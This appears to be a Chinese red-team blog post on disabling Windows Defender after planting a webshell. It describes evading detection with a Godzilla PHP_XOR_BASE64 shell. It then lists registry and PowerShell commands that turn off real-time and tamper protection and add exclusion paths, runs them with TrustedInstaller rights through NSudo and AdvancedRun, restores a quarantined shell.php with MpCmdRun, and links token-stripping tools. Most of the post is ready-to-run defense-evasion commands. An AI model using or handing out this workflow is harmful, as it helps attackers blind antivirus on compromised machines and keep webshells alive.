红蓝对抗之致盲 Windows defender
Windows defender 介绍
Microsoft Defender 防病毒软件在 Windows 10 和 Windows 11 以及 Windows Server 版本中可用。
Microsoft Defender 防病毒软件是 Microsoft Defender for Endpoint 中下一代保护的主要组件。这种保护将机器学习、大数据分析、深入的威胁防御研究和 Microsoft 云基础设施结合在一起,以保护您组织中的设备(或端点)。Microsoft Defender 防病毒软件内置于 Windows 中,它与 Microsoft Defender for Endpoint 配合使用,为你的设备和云提供保护。
Windows defender 环境
版本
Windows Server 系统环境
- 用户:Administrator
- 版本:Windows Server 2019
补丁
systeminfo 信息
事前准备
在实战环境中,首先需要上传webshell,所以在此必须免杀webshell
web环境:phpstudy 8.1.1.3 + apache 2.4.39 + php 7.3.4
哥斯拉 webshell 免杀
工具地址:https://github.com/BeichenDream/Godzilla
经过测试,用Godzilla自带的PHP_XOR_BASE64
加密器即可免杀(php一句话直接杀)
生成 PHP_XOR_BASE64 webshell
静态免杀测试
连接webshell
动态免杀测试
关闭 Windows defender
TrustedInstaller
TrustedInstaller是从Windows Vista开始出现的一个内置安全主体,在Windows中拥有修改系统文件权限,本身是一个服务,以一个账户组的形式出现。
它的全名是:NT SERVICE\TrustedInstaller
那么为什么要获取TrustedInstaller权限?
说白了就是因为Administratior权限和system权限的cmd无法关闭 Windows defender(powershell可以)
注意:以下工具和技巧皆需要Administratior权限或者system权限才能成功使用
基础命令介绍
cmd
#查看排除项
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
#查看版本
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b
#查看篡改保护(返回结果中的 数值5代表开启,数值4代表关闭)
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"
#需要TrustedInstaller权限
##cmd注册表关闭Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
##cmd关闭篡改保护
NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 4 /t REG_DWORD /f"
##cmd注册表恢复Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f
##cmd添加Windows defender排除项
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f
powershell
#查看排除项
Get-MpPreference | select ExclusionPath
#关闭Windows defender
Set-MpPreference -DisableRealTimeMonitoring $true
#增加排除项
Add-MpPreference -ExclusionPath "c:\temp"
#删除排除项
Remove-MpPreference -ExclusionPath "C:\test"
#关闭实时保护
Set-MpPreference -DisableRealtimeMonitoring $true
NSudoLG
工具地址:https://github.com/M2Team/NSudo
下载后使用:D:\Documents\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe
免杀测试
使用方法
注意:此工具的 -U:T 参数是获取了 TrustedInstaller 权限
#cmd注册表关闭Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
#cmd注册表恢复Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f
#cmd添加Windows defender排除项
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f
#NSudoLG.exe关闭Windows defender
NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f"
#NSudoLG.exe恢复Windows defender
NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f"
#NSudoLG.exe添加Windows defender排除项
NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f"
powershell成功上线
AdvancedRun
地址:https://www.nirsoft.net/utils/advanced_run.html
免杀测试
使用方法
AdvancedRun.exe /EXEFilename "%windir%\system32\cmd.exe" /CommandLine '/c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f' /RunAs 8 /Run
powershell成功上线
StopDefender
Github地址:https://github.com/lab52io/StopDefender
免杀测试
使用方法
StopDefender_x64.exe
powershell成功上线
powershell
#查看排除项
Get-MpPreference | select ExclusionPath
#关闭Windows defender
Set-MpPreference -DisableRealTimeMonitoring $true
#增加排除项
Add-MpPreference -ExclusionPath "c:\temp"
#删除排除项
Remove-MpPreference -ExclusionPath "C:\test"
关闭 Windows defender
关闭 实时保护
Set-MpPreference -DisableRealtimeMonitoring $true
其他技巧
MpCmdRun恢复被隔离的文件
MpCmdRun介绍
配置和管理 Microsoft Defender 防病毒软件的命令行工具
详情
寻找MpCmdRun位置
MpCmdRun的位置为:
C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
#查看版本(查看<antimalware platform version>)
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b
#验证
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2210.6-0\" | findstr MpCmdRun
基础命令
#查看被隔离的文件列表
MpCmdRun -Restore -ListAll
#恢复指定名称的文件至原目录
MpCmdRun -Restore -FilePath C:\phpstudy_pro\WWW\shell.php
#恢复所有文件至原目录
MpCmdRun -Restore -All
#查看指定路径是否位于排除列表中
MpCmdRun -CheckExclusion -path C:\phpstudy_pro\WWW\
移除Token导致Windows Defender失效
Windows Defender进程为MsMpEng.exe,MsMpEng.exe是一个受保护的进程(Protected Process Light,简写为PPL)
非 PPL 进程无法获取 PPL 进程的句柄,导致我们无法直接结束 PPL 进程 MsMpEng.exe, 但是我们能够以 SYSTEM 权限运行的线程修改进程 MsMpEng.exe 的 token, 当我们移除进程 MsMpEng.exe 的所有 token 后,进程 MsMpEng.exe 无法访问其他进程的资源,也就无法检测其他进程是否有害,最终导致 Windows Defender 失效。
本人没有利用成功过
工具地址
https://github.com/pwn1sher/KillDefender
https://github.com/Octoberfest7/KillDefender
https://github.com/Octoberfest7/KDStab
参考文章
https://mp.weixin.qq.com/s/27rvHpsnldnxpJaxwQrLGw
https://zhuanlan.zhihu.com/p/538571344
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Windows-Defender
- 点赞
- 收藏
- 关注作者
评论(0)